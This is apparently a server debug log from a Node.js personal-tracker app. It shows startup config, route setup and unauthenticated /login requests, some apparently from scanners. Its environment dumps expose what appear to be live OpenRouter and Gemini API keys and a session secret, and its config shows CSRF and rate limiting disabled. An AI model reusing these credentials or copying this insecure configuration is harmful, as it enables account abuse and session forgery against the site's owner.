    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '3.217.128.115',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-30T15:07:14.035Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '3.217.128.115',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '3.217.128.115',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-30T12:28:55.342Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-30T12:28:57.611Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-30T12:28:58.474Z server-connect:setup:upload Upload middleware configured.
2026-06-30T12:28:58.474Z server-connect:secure CSRF Protection initialized
2026-06-30T12:28:58.479Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-30T12:28:58.480Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-30T12:28:58.483Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-30T12:28:58.484Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-30T12:28:58.492Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-30T12:28:58.493Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-30T12:28:58.507Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-30T12:28:58.520Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-30T12:28:58.525Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-30T12:28:58.527Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-30T12:28:58.530Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-30T12:28:58.533Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-30T12:28:58.539Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-30T12:28:58.550Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-30T12:28:58.553Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-30T12:28:58.627Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-30T12:28:58.628Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-30T12:28:58.633Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-30T12:28:58.638Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-30T12:28:58.642Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-30T12:28:58.645Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-30T12:28:58.652Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-30T12:28:58.654Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-30T12:28:58.661Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-30T12:28:58.661Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-30T12:28:58.666Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-30T12:28:58.669Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-30T12:28:58.669Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-30T12:28:58.676Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-30T12:28:58.676Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-30T12:28:58.679Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-30T12:28:58.681Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-30T12:28:58.684Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-30T12:28:58.687Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-30T12:28:58.694Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-30T12:28:58.697Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-30T12:28:58.700Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-30T12:28:58.708Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-30T12:28:59.198Z server-connect:router Serving templateView /
2026-06-30T12:28:59.244Z server-connect:app Executing action step identify
2026-06-30T12:28:59.244Z server-connect:app options: { provider: 'security' }
2026-06-30T12:28:59.257Z server-connect:auth No login cookie found
2026-06-30T12:28:59.257Z server-connect:output identity: false
2026-06-30T12:28:59.257Z server-connect:app Executing action step restrict
2026-06-30T12:28:59.257Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-30T12:28:59.261Z server-connect:output restrict: undefined
2026-06-30T12:28:59.366Z server-connect:router Serving templateView /login
2026-06-30T12:28:59.366Z server-connect:app Executing action step identify
2026-06-30T12:28:59.366Z server-connect:app options: { provider: 'security' }
2026-06-30T12:28:59.366Z server-connect:auth No login cookie found
2026-06-30T12:28:59.366Z server-connect:output identity: false
2026-06-30T12:28:59.366Z server-connect:router Render template layouts/authentication
2026-06-30T12:28:59.367Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.195.135.127',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-01T12:28:59.364Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.195.135.127',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.195.135.127',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-30T14:15:01.115Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-30T14:15:03.386Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-30T14:15:04.249Z server-connect:setup:upload Upload middleware configured.
2026-06-30T14:15:04.249Z server-connect:secure CSRF Protection initialized
2026-06-30T14:15:04.255Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-30T14:15:04.256Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-30T14:15:04.257Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-30T14:15:04.259Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-30T14:15:04.267Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-30T14:15:04.272Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-30T14:15:04.284Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-30T14:15:04.298Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-30T14:15:04.304Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-30T14:15:04.305Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-30T14:15:04.306Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-30T14:15:04.310Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-30T14:15:04.316Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-30T14:15:04.325Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-30T14:15:04.330Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-30T14:15:04.402Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-30T14:15:04.404Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-30T14:15:04.407Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-30T14:15:04.413Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-30T14:15:04.417Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-30T14:15:04.419Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-30T14:15:04.428Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-30T14:15:04.428Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-30T14:15:04.435Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-30T14:15:04.437Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-30T14:15:04.441Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-30T14:15:04.443Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-30T14:15:04.445Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-30T14:15:04.451Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-30T14:15:04.453Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-30T14:15:04.455Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-30T14:15:04.457Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-30T14:15:04.461Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-30T14:15:04.463Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-30T14:15:04.468Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-30T14:15:04.472Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-30T14:15:04.474Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-30T14:15:04.484Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-30T14:15:04.972Z server-connect:router Serving templateView /
2026-06-30T14:15:05.019Z server-connect:app Executing action step identify
2026-06-30T14:15:05.019Z server-connect:app options: { provider: 'security' }
2026-06-30T14:15:05.030Z server-connect:auth No login cookie found
2026-06-30T14:15:05.030Z server-connect:output identity: false
2026-06-30T14:15:05.030Z server-connect:app Executing action step restrict
2026-06-30T14:15:05.030Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-30T14:15:05.034Z server-connect:output restrict: undefined
2026-06-30T14:15:05.077Z server-connect:router Serving templateView /
2026-06-30T14:15:05.078Z server-connect:app Executing action step identify
2026-06-30T14:15:05.078Z server-connect:app options: { provider: 'security' }
2026-06-30T14:15:05.078Z server-connect:auth No login cookie found
2026-06-30T14:15:05.078Z server-connect:output identity: false
2026-06-30T14:15:05.078Z server-connect:app Executing action step restrict
2026-06-30T14:15:05.078Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-30T14:15:05.079Z server-connect:output restrict: undefined
2026-06-30T14:15:05.524Z server-connect:router Serving templateView /login
2026-06-30T14:15:05.524Z server-connect:app Executing action step identify
2026-06-30T14:15:05.524Z server-connect:app options: { provider: 'security' }
2026-06-30T14:15:05.524Z server-connect:auth No login cookie found
2026-06-30T14:15:05.524Z server-connect:output identity: false
2026-06-30T14:15:05.524Z server-connect:router Render template layouts/authentication
2026-06-30T14:15:05.526Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 6.2; rv:139.0) Gecko/20100101 Firefox/139.0',
    'accept-charset': 'utf-8',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '194.163.139.165',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-01T14:15:05.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '194.163.139.165',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 6.2; rv:139.0) Gecko/20100101 Firefox/139.0',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '194.163.139.165',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-30T14:16:28.097Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-30T14:16:28.252Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-30T14:16:28.346Z server-connect:setup:upload Upload middleware configured.
2026-06-30T14:16:28.347Z server-connect:secure CSRF Protection initialized
2026-06-30T14:16:28.349Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-30T14:16:28.350Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-30T14:16:28.351Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-30T14:16:28.351Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-30T14:16:28.352Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-30T14:16:28.352Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-30T14:16:28.353Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-30T14:16:28.354Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-30T14:16:28.354Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-30T14:16:28.355Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-30T14:16:28.355Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-30T14:16:28.356Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-30T14:16:28.379Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-30T14:16:28.379Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-30T14:16:28.380Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-30T14:16:28.380Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-30T14:16:28.380Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-30T14:16:28.381Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-30T14:16:28.381Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-30T14:16:28.381Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-30T14:16:28.381Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-30T14:16:28.382Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-30T14:16:28.382Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-30T14:16:28.382Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-30T14:16:28.383Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-30T14:16:28.383Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-30T14:16:28.383Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-30T14:16:28.383Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-30T14:16:28.383Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-30T14:16:28.384Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-30T14:16:28.384Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-30T14:16:28.384Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-30T14:16:28.384Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-30T14:16:28.384Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-30T14:16:28.385Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-30T14:16:28.385Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-30T14:16:28.385Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-30T14:16:28.385Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-30T14:16:28.446Z server-connect:router Serving templateView /
2026-06-30T14:16:28.448Z server-connect:app Executing action step identify
2026-06-30T14:16:28.448Z server-connect:app options: { provider: 'security' }
2026-06-30T14:16:28.450Z server-connect:auth No login cookie found
2026-06-30T14:16:28.450Z server-connect:output identity: false
2026-06-30T14:16:28.450Z server-connect:app Executing action step restrict
2026-06-30T14:16:28.450Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-30T14:16:28.454Z server-connect:output restrict: undefined
2026-06-30T14:16:28.821Z server-connect:router Serving templateView /login
2026-06-30T14:16:28.822Z server-connect:app Executing action step identify
2026-06-30T14:16:28.822Z server-connect:app options: { provider: 'security' }
2026-06-30T14:16:28.822Z server-connect:auth No login cookie found
2026-06-30T14:16:28.822Z server-connect:output identity: false
2026-06-30T14:16:28.822Z server-connect:router Render template layouts/authentication
2026-06-30T14:16:28.823Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/E7FBAF',
    'accept-charset': 'utf-8',
    referer: 'https://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '157.173.125.255',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-01T14:16:28.820Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.173.125.255',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/E7FBAF',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz',
